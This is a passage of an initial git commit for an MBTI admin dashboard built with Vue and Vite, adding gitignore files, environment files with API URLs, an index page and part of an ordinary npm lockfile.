commit eb510304c0366f5a04b3df7518473ed1528a43d3 Author: 卡若 Date: Tue Mar 17 12:39:38 2026 +0800 chore: 首次提交 - 关联 GitHub fnvtk/MBTI_wang Made-with: Cursor diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b02cf91 --- /dev/null +++ b/.gitignore @@ -0,0 +1,29 @@ +# 依赖 +node_modules/ +vendor/ + +# 构建产物 +dist/ +dist-ssr/ +build/ + +# 环境与敏感信息 +.env +.env.local +.env.*.local + +# 日志与运行时 +*.log +api/runtime/log/ +api/runtime/cache/ +api/runtime/temp/ + +# IDE +.idea/ +.vscode/ +*.swp +*.swo +.DS_Store + +# 小程序私有配置(含 AppID 等) +miniprogram/project.private.config.json diff --git a/admin/.env.development b/admin/.env.development new file mode 100644 index 0000000..6318896 --- /dev/null +++ b/admin/.env.development @@ -0,0 +1,7 @@ +# 开发环境配置 +# 测试环境API地址 +VITE_API_BASE_URL=http://mbti.com + +# 环境标识 +VITE_APP_ENV=development +VITE_APP_TITLE=MBTI管理后台-测试环境 \ No newline at end of file diff --git a/admin/.env.production b/admin/.env.production new file mode 100644 index 0000000..100804b --- /dev/null +++ b/admin/.env.production @@ -0,0 +1,7 @@ +# 生产环境配置 +# 正式环境API地址 +VITE_API_BASE_URL=https://mbtiapi.quwanzhi.com + +# 环境标识 +VITE_APP_ENV=production +VITE_APP_TITLE=MBTI管理后台 \ No newline at end of file diff --git a/admin/.gitignore b/admin/.gitignore new file mode 100644 index 0000000..84c6442 --- /dev/null +++ b/admin/.gitignore @@ -0,0 +1,32 @@ +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +lerna-debug.log* + +node_modules +.DS_Store +dist +dist-ssr +coverage +# 环境文件(.env.local 不提交,但 .env.development 和 .env.production 需要提交) +.env.local +.env.local.* + +# Editor directories and files +.vscode/* +!.vscode/extensions.json +.idea +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? + +# Auto-generated +src/auto-imports.d.ts +src/components.d.ts + diff --git a/admin/index.html b/admin/index.html new file mode 100644 index 0000000..77336c6 --- /dev/null +++ b/admin/index.html @@ -0,0 +1,14 @@ + + + + + + + MBTI 管理后台 + + +
+ + + + diff --git a/admin/package-lock.json b/admin/package-lock.json new file mode 100644 index 0000000..4a513a0 --- /dev/null +++ b/admin/package-lock.json @@ -0,0 +1,3211 @@ +{ + "name": "mbti-admin", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "mbti-admin", + "version": "1.0.0", + "dependencies": { + "@element-plus/icons-vue": "^2.3.1", + "axios": "^1.6.7", + "dayjs": "^1.11.10", + "echarts": "^5.6.0", + "element-plus": "^2.6.2", + "pinia": "^2.1.7", + "vue": "^3.4.21", + "vue-echarts": "^6.6.9", + "vue-router": "^4.3.0", + "vue3-draggable-resizable": "^1.6.5" + }, + "devDependencies": { + "@vitejs/plugin-vue": "^5.0.4", + "@vue/tsconfig": "^0.5.1", + "sass": "^1.71.1", + "typescript": "~5.4.0", + "unplugin-auto-import": "^0.17.5", + "unplugin-vue-components": "^0.26.0", + "vite": "^5.1.6", + "vue-tsc": "^2.0.6" + } + }, + "node_modules/@antfu/utils": { + "version": "0.7.10", + "resolved": "https://registry.npmmirror.com/@antfu/utils/-/utils-0.7.10.tgz", + "integrity": "sha512-+562v9k4aI80m1+VuMHehNJWLOFjBnXn3tdOitzD0il5b7smkSBal4+a3oKiQTbrwMmN/TBUMDvbdoWDehgOww==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.0", + "resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.29.0.tgz", + "integrity": "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.0", + "resolved": "https://registry.npmmirror.com/@babel/types/-/types-7.29.0.tgz", + "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@ctrl/tinycolor": { + "version": "3.6.1", + "resolved": "https://registry.npmmirror.com/@ctrl/tinycolor/-/tinycolor-3.6.1.tgz", + "integrity": "sha512-SITSV6aIXsuVNV3f3O0f2n/cgyEDWoSqtZMYiAmcsYHydcKrOz3gUxB/iXd/Qf08+IZX4KpgNbvUdMBmWz+kcA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/@element-plus/icons-vue": { + "version": "2.3.2", + "resolved": "https://registry.npmmirror.com/@element-plus/icons-vue/-/icons-vue-2.3.2.tgz", + "integrity": "sha512-OzIuTaIfC8QXEPmJvB4Y4kw34rSXdCJzxcD1kFStBvr8bK6X1zQAYDo0CNMjojnfTqRQCJ0I7prlErcoRiET2A==", + "license": "MIT", + "peerDependencies": { + "vue": "^3.2.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz", + "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.21.5.tgz", + "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz", + "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.21.5.tgz", + "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz", + "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz", + "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz", + "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz", + "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz", + "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz", + "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz", + "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz", + "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz", + "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz", + "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz", + "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz", + "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz", + "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz", + "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz", + "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz", + "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz", + "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz", + "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz", + "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.7.4", + "resolved": "https://registry.npmmirror.com/@floating-ui/core/-/core-1.7.4.tgz", + "integrity": "sha512-C3HlIdsBxszvm5McXlB8PeOEWfBhcGBTZGkGlWc2U0KFY5IwG5OQEuQ8rq52DZmcHDlPLd+YFBK+cZcytwIFWg==", + "license": "MIT", + "dependencies": { + "@floating-ui/utils": "^0.2.10" + } + }, + "node_modules/@floating-ui/dom": { + "version": "1.7.5", + "resolved": "https://registry.npmmirror.com/@floating-ui/dom/-/dom-1.7.5.tgz", + "integrity": "sha512-N0bD2kIPInNHUHehXhMke1rBGs1dwqvC9O9KYMyyjK7iXt7GAhnro7UlcuYcGdS/yYOlq0MAVgrow8IbWJwyqg==", + "license": "MIT", + "dependencies": { + "@floating-ui/core": "^1.7.4", + "@floating-ui/utils": "^0.2.10" + } + }, + "node_modules/@floating-ui/utils": { + "version": "0.2.10", + "resolved": "https://registry.npmmirror.com/@floating-ui/utils/-/utils-0.2.10.tgz", + "integrity": "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==", + "license": "MIT" + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "license": "MIT" + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@parcel/watcher": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher/-/watcher-2.5.6.tgz", + "integrity": "sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "dependencies": { + "detect-libc": "^2.0.3", + "is-glob": "^4.0.3", + "node-addon-api": "^7.0.0", + "picomatch": "^4.0.3" + }, + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + }, + "optionalDependencies": { + "@parcel/watcher-android-arm64": "2.5.6", + "@parcel/watcher-darwin-arm64": "2.5.6", + "@parcel/watcher-darwin-x64": "2.5.6", + "@parcel/watcher-freebsd-x64": "2.5.6", + "@parcel/watcher-linux-arm-glibc": "2.5.6", + "@parcel/watcher-linux-arm-musl": "2.5.6", + "@parcel/watcher-linux-arm64-glibc": "2.5.6", + "@parcel/watcher-linux-arm64-musl": "2.5.6", + "@parcel/watcher-linux-x64-glibc": "2.5.6", + "@parcel/watcher-linux-x64-musl": "2.5.6", + "@parcel/watcher-win32-arm64": "2.5.6", + "@parcel/watcher-win32-ia32": "2.5.6", + "@parcel/watcher-win32-x64": "2.5.6" + } + }, + "node_modules/@parcel/watcher-android-arm64": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.6.tgz", + "integrity": "sha512-YQxSS34tPF/6ZG7r/Ih9xy+kP/WwediEUsqmtf0cuCV5TPPKw/PQHRhueUo6JdeFJaqV3pyjm0GdYjZotbRt/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-darwin-arm64": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.6.tgz", + "integrity": "sha512-Z2ZdrnwyXvvvdtRHLmM4knydIdU9adO3D4n/0cVipF3rRiwP+3/sfzpAwA/qKFL6i1ModaabkU7IbpeMBgiVEA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-darwin-x64": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.6.tgz", + "integrity": "sha512-HgvOf3W9dhithcwOWX9uDZyn1lW9R+7tPZ4sug+NGrGIo4Rk1hAXLEbcH1TQSqxts0NYXXlOWqVpvS1SFS4fRg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-freebsd-x64": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.6.tgz", + "integrity": "sha512-vJVi8yd/qzJxEKHkeemh7w3YAn6RJCtYlE4HPMoVnCpIXEzSrxErBW5SJBgKLbXU3WdIpkjBTeUNtyBVn8TRng==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-arm-glibc": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.6.tgz", + "integrity": "sha512-9JiYfB6h6BgV50CCfasfLf/uvOcJskMSwcdH1PHH9rvS1IrNy8zad6IUVPVUfmXr+u+Km9IxcfMLzgdOudz9EQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-arm-musl": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.6.tgz", + "integrity": "sha512-Ve3gUCG57nuUUSyjBq/MAM0CzArtuIOxsBdQ+ftz6ho8n7s1i9E1Nmk/xmP323r2YL0SONs1EuwqBp2u1k5fxg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-arm64-glibc": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.6.tgz", + "integrity": "sha512-f2g/DT3NhGPdBmMWYoxixqYr3v/UXcmLOYy16Bx0TM20Tchduwr4EaCbmxh1321TABqPGDpS8D/ggOTaljijOA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-arm64-musl": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.6.tgz", + "integrity": "sha512-qb6naMDGlbCwdhLj6hgoVKJl2odL34z2sqkC7Z6kzir8b5W65WYDpLB6R06KabvZdgoHI/zxke4b3zR0wAbDTA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-x64-glibc": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.6.tgz", + "integrity": "sha512-kbT5wvNQlx7NaGjzPFu8nVIW1rWqV780O7ZtkjuWaPUgpv2NMFpjYERVi0UYj1msZNyCzGlaCWEtzc+exjMGbQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-x64-musl": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.6.tgz", + "integrity": "sha512-1JRFeC+h7RdXwldHzTsmdtYR/Ku8SylLgTU/reMuqdVD7CtLwf0VR1FqeprZ0eHQkO0vqsbvFLXUmYm/uNKJBg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-win32-arm64": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.6.tgz", + "integrity": "sha512-3ukyebjc6eGlw9yRt678DxVF7rjXatWiHvTXqphZLvo7aC5NdEgFufVwjFfY51ijYEWpXbqF5jtrK275z52D4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-win32-ia32": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.6.tgz", + "integrity": "sha512-k35yLp1ZMwwee3Ez/pxBi5cf4AoBKYXj00CZ80jUz5h8prpiaQsiRPKQMxoLstNuqe2vR4RNPEAEcjEFzhEz/g==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-win32-x64": { + "version": "2.5.6", + "resolved": 